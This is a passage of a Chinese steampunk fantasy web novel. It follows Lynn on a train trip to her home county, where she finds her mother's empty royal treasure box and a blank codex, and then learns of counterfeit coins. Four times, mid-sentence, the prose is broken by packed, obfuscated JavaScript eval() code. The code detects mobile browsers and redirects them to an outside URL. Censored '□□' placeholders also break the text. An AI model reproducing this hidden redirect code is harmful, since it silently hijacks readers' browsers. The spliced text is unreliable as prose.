不管怎么看,也只有伍德能被随意调动了。 林恩:“莱亚·古德温上校。” “?” 阿曼达想破脑袋都没想出这个名字,看向林恩的目光里多了些诡异的质疑。 “你想要的是陆军上校?你怎么好意思让他做你的助手!” 从第一次和林恩接触起,阿曼达就觉得她有些古怪,甚至逐渐接受她的个性。 没想到,林恩还能继续刷新她的认知。 然而,林恩对阿曼达的质疑毫不在意。 她恬不知耻道:“总之,您帮我问问吧!万一上校答应了呢?” 阿曼达不愿意开这个口。 她嫌丢人。 阿曼达:“我可以带你去找古德温上校,你亲自跟他说。” 林恩想了想,也没有拒绝。 “过几天吧,我这两天想回一趟特兰郡。” 林恩的资料显示,她是特兰郡出身,阿曼达只当她要回家探亲。 “回去看父母?” “他们都去世了。”林恩说,“但也没错,我的确回去是为了看他们。” 她一脸诚恳,语气又可怜兮兮,让阿曼达不由自主地多了些怜悯。 她自动添加了些脑补,望向林恩的神情愈发同情起来。 “既然这样,我会联系古德温上校。” 她叹了口气,“等你回碎金城了,就能得到回复了。” 林恩有七成把握,莱亚·古德温愿意跟随自己一起去绯通亚矿场。 原因无他,此人也惹了一身麻烦,花上几个月避避风头也是好事。 “还有别的事情吗?” 阿曼达一边给打字机装上新纸,一边抬头看着杵在原地的林恩。 “暂时应该没了。” 其实有,但林恩觉得不能一次性麻烦太多。 细水长流的道理,她还是知道的。 林恩把话憋了回去,一边同阿曼达告别: “首席,那我先回去了。过几天再向您报道。” == 将莉亚托付给白琳之后,林恩提上行李,前往熙熙攘攘的布德林车站。 这是碎金城内规模最大的车站,大概也是新阿尔卡迪亚最大的车站,乳白色的古典风格建筑物内,封锁着前往四面八方的铁路线路。 出租马车将林恩放在车站前的广场,车夫提醒她小心避开广场中央的圆形喷泉。 “虽然有很多孩子在这里戏水,但实际上这里的水管直通东区的钢铁厂。” 车夫苦口婆心,“我亲眼见过有人接触了这里的水源而去世了。” “我明白了。”林恩点头感谢,顺手多塞了点小费。“多谢您的提醒。” 尽管如此,广场上仍是堆满了赤脚奔跑的孩童。 还有大群鸽子与海鸥,踩在灰扑扑的池水里,又翕动着翅膀飞远。 即便林恩有心停留,留给她的时间却也不足了。 她瞟了眼钟楼的时间,一边核对车票上的发车时间,脚下不自觉地加快了些。 好在,蒸汽火车也并不准时。 林恩卡点登上火车,找到她的一等座车厢后,随手将行李放在身边,又等待了约莫半小时,蒸汽火车才缓缓启动。 “怎么这么迟?”她随口抱怨道。 “特等车厢的客人来晚了,小姐。” 身穿红色经典铁路制服的侍者推着黄铜推车而至,推车上放了些色彩缤纷的甜点。 林恩皱了皱鼻子。 “想来一块点心吗,小姐?”侍者转过头,刚好推销起来,“我们有巧克力味与香草味的蛋糕。” “不了。”林恩扫了一眼,对这些五颜六色的奇怪糕点不感兴趣。“餐车在哪里?” “往前走两个车厢就行。” 两人一来一回地交谈时,一等车厢冲进来一个满头大汗的男人。 他手里攥着单片镜,不停地拿手帕擦拭着汗水,面孔却仍然滑腻腻的。 “抱歉,我的座位在里面。” 他看了眼车票,一边对侍者说。 侍者往前迈了几步,让出一条通道,又不死心地推销,“先生,您想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468480|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要一块点心吗?” “唔,可以啊。” 男人将牛皮行李箱放置在行李架上,一边冲侍者点头,“如果有一杯红茶就更好了。” “一杯红茶是吗?很快给您端来。” 侍者满意地咧嘴笑起来,“一共5银舌尔。” 男人从口袋里掏出一大把东西。 琐碎的物品随着他的翻找而掉落,其中一支金边钢笔骨碌碌地滚到林恩脚边。 “啊,抱歉。”他嘟哝着,一边找出一枚五银舌尔面值的银币。 林恩弯下腰,帮他捡拾起来。 这支钢笔沉甸甸的,手感也扎实,一摸就不是便宜货。 交还给男人的时候,林恩看到笔杆上的烫金文字。 【库兹矿产公司】 嗯? 林恩还记得,原主的父亲就是在这家血汗工厂里工作,工资甚至无法覆盖肺病的药费。 “谢谢你,小姐。”男人擦了擦额头上的汗,再次把手帕塞回口袋,钢笔也一并插进口袋里。 见他这种粗犷的收纳手法,林恩觉得这些东西起码还会再掉落一次。 只不过,她对那串文字有些在意。 “先生,您来自库兹矿产公司?” 男人嘴巴里含着巧克力蛋糕,一边冲林恩点头。 “是的,我是总经理博伦·库兹的秘书之一。” “等等——该不会特等座车厢里,正是你的老板吧?” “您猜对了。” 男人讪笑着,“前些天让我订票时,我犯了点错,记错出发时间了,这才耽搁了这么久。” “……” 罪魁祸首竟然找到了。 林恩有些无语。 他这样的工作能力,怎么当上的总经理秘书? “先生,你这个秘书不应该陪在老板旁边吗?” “不用,库兹先生还有其他秘书,我是没用的那一个。” 男人说道,“所以,我才被赶来了一等座,还能吃上小蛋糕!” 林恩欲言又止:怎么有种不以为耻、反以为荣的感觉? “对了,我包里还有一份文件,库兹先生刚刚还问我要来着,我得赶紧送过去!” 男人拍拍脑袋,猛地丢下叉子,胡乱搜索起公文包,而后急匆匆往特等车厢赶去。 他的公文包完全打开,里头的文件散落一桌,林恩刚好可以看到文件上的姓名。 【约翰·开普敦】 看来这是他的名字。 粗心的开普敦先生很快返回,灰头土脸的模样足以证明又挨了顿骂。 他坐回位置,甚至连吃蛋糕的兴致都消失了,满脸懊丧。 “您还好吗?” 开普敦叹了口气,拨浪鼓般地摇头。 “不太好,库兹先生说可能要裁掉我。只不过,其他人帮我说了几句好话,我起码工作是保住了。” 这话听上去还有后续。 林恩:“但是?” “但是,似乎想把我派去绯通亚矿场。” 约翰·开普敦苦着脸,在内壁上磕着自己的脑袋,潸然欲泪。 “我可不想去那里!” 诶? 林恩眼睛亮了下,“库兹公司在绯通亚矿场也有矿山吗?” “当然,是老库兹先生购买的,就在朗氏公司旁边。” 约翰·开普敦无力地抬着眼皮,“但是,据说在那边工作会折寿!” 林恩笑了笑,没有回话。 “诶,你也在碎金城工作吗?”他努了努嘴,指向林恩的公文包,“您是做什么的?” “记者。” 林恩面不改色地撒谎,“我是《木偶报》的记者。” 45. 特兰郡(二) 特兰郡就在碎金城东北方。 火车穿过连绵的山丘,驶入碧绿繁茂的平原。 窗外尽是绿意,成群的白色毛绒小羊在绿地上啃食,时不时能路过些农居。 约翰·开普敦在林恩前一站下车,他的老板博伦·库兹先生拥有一个巨大的庄园,这次也是为打猎而来。 至于这么短的距离为什么不乘坐蒸汽马车,开普敦声称库兹先生是个狂热的蒸汽火车迷,故而抛弃了私人马车。 在与约翰·开普敦道别后,林恩独自前往餐车享用了一顿昂贵的午餐。 花费3个金塔拉得到的,是一份香喷喷的炙烤鹿排,以及烤得焦脆的面包片,佐以廉价的白葡萄酒。 酒酣饭足,林恩的故乡露牧镇也到了。 这座坐落在平原之中的城镇,因为一条宽阔的河流而拥有肥沃的土壤,相当适宜种植或畜牧,滋养了整个碎金城。 林恩提着行李站在站台上,盯着“露牧镇”的木质标牌,忽然有些迷茫。 ——她家在哪里来着? 似乎离火车站很远。 好在,出了火车站就有驴车租赁。 驴车只需要花费10银舌尔就可以租一天,林恩可以花费20银舌尔预订两天。但需要额外提交15银舌尔的租金。 尽管店主一眼就是精明人,听闻价格的林恩仍是露出满意的神情。 原因无他,纯粹是被碎金城昂贵的物价调/教的。 店主从木圈内牵出一匹年幼的小驴,“检查一下吧,小姐。” 林恩扒开毛驴的嘴唇,看了眼小驴的牙齿。 “先生,这驴也太小了,您的价格太贵。” 毛驴店主从下到上扫了一遍林恩的打扮,只觉得今天自己看走了眼: 她明明穿着打扮都像是碎金城来的贵人,却对他们乡下的事情了如指掌。 他只好认栽,决定少盈利一些,“好吧,14银舌尔两天。” 林恩想了想,对这个数字还算满意。“行。” 她从右口袋里掏出10银舌尔的硬币,又从钱袋里数出4枚银币,“您清点一下。” “您的名字?” “林恩·亨特。” 店主执笔的手迟疑了一下,重复了一遍。“林恩·亨特?” 得到肯定的答复后,他再次问道:“弗兰·亨特的女儿?” 林恩问了句废话:“您认识我的父亲?” “唔,当然……当然!” 店主咧开嘴,露出几颗黄得发黑的牙。 “他是我们露牧镇的骄傲!我们这样的乡下,能出多少审查官呢!” 林恩讪笑了一声。 “弗兰的女儿,那就难怪了。”店主叼了根烟斗漫不经心,“你父亲还好吗?自从你母亲去世、你们搬去碎金城后,我就再也没见过他。” 露牧镇的村民尚未得知弗兰·亨特去世的消息。 想来也是,“林恩”经济窘迫,无法把父亲带回特兰郡下葬,就只好就近埋在东区的公共墓地。 老亨特去世的消息,也就闭塞在碎金城内。 眼下,林恩也没打算说实话。 她打着哈哈,“还是和以前差不多,就是身体不太好。” “那太可惜了。”店主吐出一口烟圈,“《田园报》上一直在说,碎金城的空气坏得很。” 《田园报》? 上一次听说这个报纸,还是在巨龙镇。 林恩从未在碎金城看到过这份报纸,大约它的目标群体是乡村。 “对了,您这次回来……” 林恩回过神,重新望向店主。 “是为了看看我母亲的墓,先生。我和父亲会出趟远门。” “您得抓紧了,今日似乎有场暴雨。”店主说道,不再与林恩攀谈。 == 玛丽亚·通古拉的坟墓位于露牧镇的小教堂附近,和本地居民葬在一起,小小的墓碑彼此紧挨着,几乎不分彼此地生长。 林恩在乡间道路上行驶不久,就看到了镇上唯一的小教堂。 和碎金城不同,乡下的教堂通常没有名字,也没有像样的神职人员;教母甚至在教堂隔壁的木屋内架了个简易的摊子,用来售卖各种农作物与种子。 而建筑物本身也简洁得过分,除了尖顶与钟楼之外,也只有墙壁上用油漆绘制的索尔沃画像才能彰显它的教堂身份。 林恩穿过墓地的绿地,装腔作势地清理了母亲坟墓的杂草,又将手触摸墓碑,试图在“记忆宫殿”中搜寻埋葬在她坟墓里的物品。 她去世得突然,弗兰·亨特又似乎被场景吓到,于是仓促潦草地下了葬,根本来不及整理什么私人物品。 说到底,玛丽亚也没有什么像样的宝贝;即便有,也都丢在碎金城,仿佛她要彻底与自己的前半生划分开来。 林恩叹了口气,忽然有些唏嘘: 一个是赫赫有名的王后贴身侍女,另一个是国民卫队的天才审查官,竟都在“血色九月”后选择隐姓埋名。 而后,又都被岁月蹉跎而亡。 但林恩不打算伤春悲秋。 她笃定自己不会像这两人一样。 既然墓地一无所获,林恩只能赶着驴车回亨特家的老宅,试图找出有关“秘宝”的蛛丝马迹。 房子破得都快塌了。 林恩犹豫半天,最终还是顶着汹涌的霉味走了进去。 一走进屋,童年的、不属于林恩的回忆便簌簌地降临。 一切都还维持着原本的模样,床的位置、柜子的位置……一切都没有改变过。 玛丽亚·通古拉的房间,也是夫妇俩的卧室。 房间里除了一张破破烂烂的木床、一扇双门衣柜,以及破损的梳妆台之外,别无他物。 林恩记得,“她”就是躲在这个衣柜里,窥探到了母亲的死亡。 即便经过清洗,地面上却仍旧残存着当初的血迹,经过岁月的磨砺又变成一团深色的、无法辨识的污渍。 林恩小心避开污团,又一把拉开衣柜: 里面存放着十余年前玛丽亚的旧衣服,但布满灰白色的蛛网;衣服也被虫子啃得破破烂烂,飘荡在衣架上。 玛丽亚死亡后,弗兰·亨特将需要用到的物品全都打包带去了碎金城。 留在这里的,都是被抛弃的、“旧时代”的东西。 这下可麻烦了。 林恩非常笃定母亲的东西没有被带去碎金城。 她紧皱着眉,再次仔细检索着这间完全无法藏东西的空房间: 既然不在碎金城、没有丢弃、也没有被埋在坟墓—— 那就说明,亨特老宅一定有一个未知的储物空间。 地窖! 林恩眼睛亮了下。 她仍旧记得,父亲在地窖里面存放了些烈酒,每年索尔沃诞生日会拿出来庆贺。 或许母亲的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16471780|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遗物、尤其是那些从王宫里带出来的东西,都被藏在了地窖里! 即便没有搜查记忆,林恩还是轻松地找到了未经遮挡的地窖入口。 盖板是用双层木头拼成的,表面提前涂过防腐药剂,因此相当结实耐用。 打开地窖后,里头散发出一股刺鼻的气味。 即便拿手帕紧紧捂住口鼻,这股浓烈到令人窒息的气味还是钻进林恩的鼻腔,闻得她有些头昏。 太多年没人打开了,地窖里堆积了一大堆毒气。 如果这个时候贸然下去,大概来不及挣扎,瞬间会一命呜呼。 林恩感受了一下气温与风力,保守估计地窖得持续通风一个小时,才能排空毒气。 既然需要等待,她也就理所应当地继续探索着这间屋子: 除了地窖之外,林恩还有一个从未涉足的地点,即父亲的书房。 虽然离开国民卫队,但弗兰·亨特似乎仍旧会定时收到碎金城的信件;他都会选择在书房里阅读并回复。 偶尔玛丽亚也会一同讨论,但他们总是会刻意避开林恩,有意不让她了解。 林恩对找到秘密信件不抱希望:她几乎笃定,父亲已经把所有信件都处理掉了。 只不过,这间书房本身就令她好奇。 她顺着木质台阶踩上二层,而后推门而入。 书架和书桌都被蒙上遮挡灰尘的白布,林恩撩开瞄了一眼,发现弗兰·亨特的书没有被搬走。 大概带去碎金城太波折、送人又无人问津,索性就都保留了下来。 她用手帕蒙住口鼻,一边小心掀开白布。 积攒二十年的尘埃瞬间漂浮起来,扬起薄薄的沙尘,呛得人呼吸不畅。 尘埃回落,书脊的文字也一点一点显露出来。 《审查官手册》 《草药大全》 《审查官急救术》 …… 林恩的目光依此掠过这些她曾阅读过的旧版本书籍,找不到任何一本她感兴趣的。 直到—— “神谕文翻译?” 林恩目光落在黑色牛皮书页上,忍不住惊呼。 这是一本侧面用烫金文字刻画繁复花纹的书籍,只在最下端被刻上几个米粒般的小字。 若是对神谕文毫无了解,她只会觉得这是某种特殊的装饰。 但林恩并非对神谕文一无所知。她甚至对神谕文执念颇深。 不过,神谕文为什么与弗兰·亨特有关? 他又不是信徒! 林恩一边思索,不由自主地抬手抽出这本书,刚翻到扉页,目光就凝滞住了。 扉页上,用黑色墨水写成的龙飞凤舞的签名,并非她的父亲“弗兰·亨特”,而分明是“康纳利”! 林恩深呼吸了一下。 不,其实也不该这么意外。 弗兰·亨特最终妥协于女儿的执念,让她用国民卫队勋章去拜托康纳利审查官帮忙。 这说明他们俩本就是认识的。 说不定,他们曾经在国民卫队,是相当亲密的队友。 至于这东西为什么被保存在弗兰·亨特手上,理由千千万,但林恩并不过分好奇。 她很确定,有了这本神谕文翻译词典,再从“记忆宫殿”中调取康纳利的日记本,就会知道他到底写了哪些内容、又为什么要偷偷书写。 还没等接着翻开,门外就传来一声沉闷的声响。 46. 特兰郡(三) 林恩立刻将书本塞进公文包里,随后蹑手蹑脚地走到窗口,小心观察着: 来自山峦的狂风猛然降临。院子里,被林恩随手放置在台子上的土陶花盆掉落在地上,破碎一地。 远处阴云密布,约莫要下场大雨。 呼。 林恩一边埋怨自己过于谨小慎微了,却一边本能地松了口气。 她掏出怀表看了眼时间,确认通风时间差不多足够,便索性决定下地窖查看。 在此之前,她从墙角找了把还算结实的木梯,伸进地窖之内。 随后,为了以防万一,林恩用麻绳拴住蜡烛,慢慢伸进地窖内部,查看蜡烛的燃烧情况: 倘若它能毫无异样地持续燃烧,那就证明大概率地窖里没有过多的甲烷,又有足量的氧气。 其实最好的办法是找个活物——鸡、鸽子或老鼠,但眼下手边什么都没有。 林恩最终狠下心,一头钻进地窖。 里头有些隐约的潮意,积水却不深,脚下的泥土带了点湿软,但不影响前进。 光线不足,林恩举着油灯费劲地四处打量着这间并不狭窄的地窖: 唯独能藏物的地方是角落放置的一排铜质架子。尽管已经生锈发绿,但还是勉强支撑了一只破烂不堪的铁皮箱。 林恩掀了下盖子,瞬间闪过狂喜: 这箱子竟然是上锁的! 那一定储存着很重要的东西。 她瞬间掏出铁丝尝试开锁,却发现钥匙孔已完全腐蚀堵死,无法用正常的方式打开。 简单思考了一下,林恩索性把它从架子上整个拖拽下来—— 铁箱从一米的高处摔跌而下,狠狠砸在地面上,发出一声轰隆的巨响。 本就已经锈蚀破损,箱子在外力的作用下更是不堪重负,盖子被直接摔开,里头的杂物散落一地。 即便是如此昏暗的环境,通体黄金的小匣子还是瞬间攫取了林恩的注意。 这是玛丽亚·通古拉从浅湖宫里偷渡出来的“王室秘宝”! 果然,弗兰·亨特舍不得丢弃玛丽亚的遗物,却又不知该保存在何处,就都索性丢放在这里。 林恩迅速打开匣子—— 她或许会成为世界上现存唯一一个知道“王室秘宝”是什么的人。 出乎意料的是,这竟是个空匣子。 虽然拿在手里沉甸甸的,却完全是匣子本身的重量,里头原本存放的物品已经消失不见。 林恩甚至产生了短暂的怀疑: 这或许本就是个空匣子,它并没有存放过任何东西。 随即,她便自我否认了,内心念念有词: 【查看记忆宫殿。】 …… 玛丽亚·通古拉双手颤抖着打开了匣子。 她的手上沾满了尚未干涸的血渍,这让她看上去有种不属于自己的癫狂感。 “通古拉内务官,我会把玛格丽特公主安全送到朱丽安娜公主宅邸的。” 弗兰·亨特走了过来,他手中的长剑淬了血,正顺着重力缓缓流淌而下,滴落在白教堂门前的空地上。 玛丽亚没有听见弗兰·亨特的话。 她的注意力集中在手中的昂贵匣子上,只觉得自己打开了潘多拉魔盒。 “通古拉内务官,您在听我说话吗?” “嗯?” 在几声呼唤之后,玛丽亚终于回过神,目光空洞地盯着弗兰·亨特。 “嗯,好。” 她压根儿没听清对方的话。 刚刚躲过一场艰难的追杀,甚至玛丽亚·通古拉使用短匕首干掉了一个敌人,弗兰·亨特只以为她是被血腥的场面吓到,不自觉软了声音。 “请您放心,内务官。您待在教堂就行,我很快就来找你。” 说罢,他将玛丽亚推进狭窄的祈祷室。 这间祈祷室是用黄铜制成的,门锁的齿轮咬合得相当紧实,弗兰·亨特暂时不担心有人从外部破入。 他唯独忧心玛丽亚的精神状态—— 她看上去有些呆滞。 无论如何,弗兰·亨特都不能继续耽搁了。 理查德四世的追兵迟早会赶上他们,他没有更大的信心能一下子甩掉这么多人。 他必须要先保证公主的安危才行。 玛丽亚·通古拉与亨特审查官告别后,独自透过圆形的小探视孔观察外界。 此刻,教堂空无一人,世界无与伦比地安静。 她小心翼翼地掀开盖子,单手托着这个过分精美以至于有些脆弱的黄金匣,注视着盒子中央: 肉粉色的绸缎上,安静地躺着一支药剂。 这东西是秘宝? 玛丽亚觉得不可思议,甚至在内心深处有种隐秘地被欺骗的懊丧。 ——为什么不是金钱,为什么非要是药剂?! 她抿唇,从匣子里取出这支细长如天鹅颈的水晶瓶,对着小孔中透露的光线端详着: 药水呈现一种粘稠的灰黑色,但仔细看时,里头似乎闪烁着无数金粉,显得流光溢彩。 秘宝…… 玛丽亚·通古拉沉思许久,终于拔出软木塞。 既然命运让她拿到了这支“秘宝”,那她接受命运的馈赠。 无论结果是什么,她都愿意接受。 玛丽亚嗅到一阵微弱的鱼腥味,随后将浓稠的黑色液体一口灌进喉咙! …… 狂躁的雨声打破了林恩的思绪。 她的视线重新落在这枚巴掌大的黄金宝匣上,抚摸着母亲曾经抚摸过的痕迹。 王室秘宝是一支药剂,这件事情本身就让她足够惊诧。 更惊诧的是,它竟然被母亲服下了。 这一切让她觉得荒唐:玛丽亚内务官是个勤勤恳恳又忠心耿耿的女人,她甚至愿意冒着生命危险救下公主、试图救王后。 但另一方面,她又心安理得地偷走王室秘宝,占为己有。 另一个好奇的问题是,那支药剂究竟起什么作用? ——总之,是没办法永生不死的。 林恩一边把黄金匣子揣进口袋里,一边顺着木梯爬了上去。 关于浅湖宫秘宝的困惑已经解决,林恩留在特兰郡也没有什么用处。 只不过现在天色已晚,加之狂风暴雨来袭,她的“驴车”又没有顶棚,在老宅留宿一夜是最佳选择。 林恩和衣躺下,如幼年的每一个夜晚一样,盯着乌云密布的窗外。 如果没有这些龃龉,他们一家三口应该是相当幸福的乡下人吧? 不,也未必。 正是因为血色九月的灾祸,玛丽亚才得以认识弗兰·亨特,也才会有后续的婚姻。 她翻了个身,嗅着轻微的霉味,缓慢入睡。 一夜无梦,但木板床睡得并不舒坦。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16478609|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林恩很早就被乡野里的公鸡打鸣声吵醒,一边睡眼惺忪地顺着银链拽出怀表,眯着刺痛的眼瞟了一下。 才五点半。 若是在碎金城,她大概还在沉睡。 林恩打了个短促的呵欠,总算是拉开窗帘。 天还没亮透,外面被浓雾笼罩。 家里没有任何食物,饥肠辘辘的林恩不得不驾车前往镇上,找了家早早开始营业的餐馆,点上一杯热红茶配牛奶,与一叠热烘烘的鹰嘴豆配烤培根。 “小姐,总共2个银舌尔。”老板扫了眼林恩的打扮,一边报价。 林恩看了眼墙壁上的价目表,丢下一枚银币与五枚铜币,一边端着餐盘回到座位。 老板迅速收了钱,但表情多少有些尴尬: 他哪能料到,眼前的生客看到了价目表啊! 鹰嘴豆不好吃,培根有些过咸,只有牛奶尚可。 林恩在心里暗自评价着,一边把餐盘里的食物吃得干干净净,同时又掏出怀表看了一眼。 雾还没散,恐怕今日的蒸汽列车会延误。 她叹了口气,从公文包里掏出块手帕擦拭嘴角,目光忽然落在那本静静躺着的旧书上。 昨日忘记翻阅这本书了。 这本标记为《神谕文翻译》的书比想象中薄许多。 林恩掏了出来,只当作是一本寻常的字典,却没想到—— 这本书是空的。 她生怕是自己眼花或遗漏,于是勤勤恳恳地从头翻到尾,却最终确认这就是一本无字天书。 从头到尾,约莫三十来页,空无一字。 康纳利在开玩笑? 林恩下意识猜想道,却很快否决了这个念头。 他没有必要对弗兰·亨特开这个玩笑,后者只不过是个对信徒毫无了解的普通人。 毕竟,弗兰·亨特在仓促离开特兰郡时,带上了一切有用的物品,却把这本书丢至一边,直至死亡也没有再翻阅过一次。 也就是说,这本“词典”名副其实,只不过是自己不会使用。 这念头一闪而过。 林恩相当有信心,她只需要使用“记忆宫殿”,就能顺利了解这本词典的使用方法,甚至有可能存在一些意外之喜。 ——就像她发现玛丽亚·通古拉偷走了王室秘宝一样的意外之喜。 【探查记忆宫殿。】 林恩在心里默念。 大脑里的某根弦微微松动了一个瞬间,却又被重新绷紧,就像是不断跳闸的开关。 金色的书架并没有出现。 长廊也没有出现。 繁杂的记忆更是不会出现。 “记忆宫殿”对这本词典完全无效! 怎么会这样? 林恩尝试着对手边的刀叉使用异能,发现她的“记忆宫殿”并没有出现异常。 刀叉被无数客人使用过,被丢在破烂的木盆里清洗过,被铁匠制作出来…… “记忆宫殿”一切正常。 也就是说,异能只对这本“词典”不起效?! 林恩迅速推断出这个结论。 这便奇怪了,早在探查莱亚·古德温的手套时,她就已经确认异能可以对等级高于自己的信徒使用。 要么是康纳利审查官等级实在太高,要么是这本字典上附着了“屏蔽类”技能。 林恩的直觉倾向于后一种。 47. 温蒂的发明 不出所料,蒸汽火车果真延误了。 在出租驴车老板那里还了车、取回押金过后,林恩坐在露牧镇车站的木质屋顶下,摊开了那本“字典”目不转睛地阅读着。 即便目光能够穿透纸张,林恩也没办法看出任何一点文字。 短暂地思考过后,林恩决定放弃。 一切都得等到回碎金城后再说,她需要先把康纳利日记本里的内容誊抄出来。 想来,离开碎金城之前,还有好几件事情需要完成: 一,要安顿好莉亚; 二,研究神谕文和翻译,以防她升级七级信徒后“记忆宫殿”的异能消失; 三,找“发明家”温蒂·奇塔。 其他琐碎的事情同样在林恩脑子里环绕了一圈,但因为不够重要,被她暂时忽略。 回到布德林车站,林恩就直接购买了高架缆车前往阿尔卡迪亚大学站的车票,总计4个银舌尔。 机器依此将银币吞食进去,却没有像林恩预想的那样吐出一张车票,而是发出叮叮当当的脆响,随后重新将四枚银币吐了出来。 ? 林恩多尝试了几次,却发现仍旧无法购买。 纳闷之余,她只得去车站寻找工作人员的帮助。 “小姐,您的这四枚银币里,有三枚是□□。” 售票窗口的列车员研究许久,终于下了结论。 “最近市面上出现不少□□,都是铜伊索与银舌尔,倒是怪事。”他嘟囔着。 □□? 怎么会有□□? 林恩默默看着被收缴走的银币:“我曾经从未遇到此类事情,先生,倒是奇怪了。” “最近才出现的,碎金城内出现的并不多。不过您不是从其他地方来的吗?” 男人抬头瞥了林恩一眼,随后又慌忙处理手头的事情。 一经提示,林恩瞬间回忆起这几枚银币的来源: 这是在露牧镇租车返还的押金! 也就是说,露牧镇里或许也同样□□泛滥。 坏消息是,这些事情多半会落在国民卫队头上。 好消息是,林恩需要前往绯通亚矿场,会与她无关。 如此想着,林恩重新掏出银币购买车票。 来到温蒂家时,却没想到《木偶报》的创始人兼记者布莱尔·德里特也在场,二人甚至正在准备午饭。 见门外站着林恩,温蒂·奇塔爽快地让她坐下,一并尝尝她们的手艺。 闻着空气里的焦糊味,林恩拒绝了。 “我还不是很饿。” “你肯定没吃饭,你就是嫌弃我们俩的厨艺。” 布莱尔记者一针见血地指了出来,“审查官,在撒谎之前先把口袋里的车票藏藏好,都露出来了。” 林恩尴尬地笑了两声。 “你的东西我已经准备好了。”温蒂说着,“不过我现在没办法去拿。” 她手上沾满了面粉。 不过她们俩正在烹饪番茄肉酱面,林恩并不知道面粉怎么无中生有地出现。 “好吧,小姐们,或许我可以给你们烹饪食物。” 忍耐了几秒钟过后,林恩决定放过自己的肠胃。 “奇塔小姐,你应该给我打个折扣才行。” 布莱尔笑话了好友一通,随后忽然想起了什么。 “审查官,您这个点怎么不在上班?据我所知,国民卫队应当都在烦心白教堂的袭击事件吧?” “休假了几天。” 林恩洗干净手,却没有透露自己的伤病。 “我即将会被派去出差,所以首席审查官很爽快地让我休息了几天。” “出差?” 布莱尔停下手中的活,对林恩的说法有些兴趣。 除非必要,国民卫队的审查官是不会前往其他地区的;一切事务都会由治安官代劳。 林恩这下也没瞒着:“去绯通亚矿场。” “啊,我明白了。” 布莱尔只花了几秒就自我想通了。 “您一定是去调查□□案的吧!” “……?” 见林恩面露不解,布莱尔这才又开始疑惑。 “您不知道吗?最近流通了一大批□□,似乎国王也知道了,正派人调查呢!” 林恩:“那为什么跟绯通亚矿场有关?” “这是我们同行的消息,据说□□最泛滥的区域就是铁恩郡——也就是绯通亚矿场所在的区域。” 布莱尔说出自己的推测,“所以说,大概率制币的工厂,也就在铁恩郡了。” 这个推理林恩也认同: 数以千万计的铜币和银币,面值不一定最高,重量却相当沉重,其实没什么必要大费周章地运送到四面八方。 最好的方式就是就地解决掉。 只不过—— “造假者的目的到底是什么呢?”布莱尔问出了林恩的疑惑。 “说起来,我前几天去了趟特兰郡。” 林恩趁着锅中正在咕嘟咕嘟熬汤,抽空掏出她的钱包,“哗啦”一下把所有银币倒了出来。 “我似乎带了几枚□□回来了,你可以看一看。” 餐桌上零零碎碎堆放了十余枚硬币。 布莱尔没空放下刀铲,眼神又不好,只好指挥温蒂来检查。 温蒂把刚从柜子里取出的、崭新的黑色木盒丢在一边,点亮瓦斯灯,一枚一枚看了过去,一边拿着放大镜仔细检查。 “不管造假者是谁,他的手艺都相当了得。花纹、大小、甚至材质分毫不差,是个行家。” 一边说着,温蒂一边拿起银币,托在掌心观察。 这还真让她看出点破绽了。 “不对,□□的重量要轻一些。”她笃定地开口。 一边说着,温蒂一边拿起自己的高精度天平,小心翼翼地测量出□□和真币的重量。 “银舌尔一般的重量为3.5打兰*,即便有些磨损也不会超过0.1的误差。” 温蒂念着天平的示数,“但是,□□的重量却只有3.3打兰。” 这个差别实在微小,若非使用天平,或是一下子拥有大量□□、且对硬币相当熟悉,否则是完全不会察觉到的。 林恩想了想,“所以,如果体积相同,是不是说明□□的金属比例与真币并不一致?” “很好的猜想。” 温蒂把□□放在指甲盖上弹着玩耍,“我一开始以为是他们使用了另一种金属。不过,□□案由您来负责吗?” 她问出与布莱尔一模一样的问题。 林恩下意识摇起头。 “那您就别管了。”温蒂摆摆手,“有能力制造大量□□的,本就不会是普通人,我们还是不要惹事了。” 说罢,她嗅了嗅空气里的番茄味,捂着扁扁的肚子走过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16486104|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 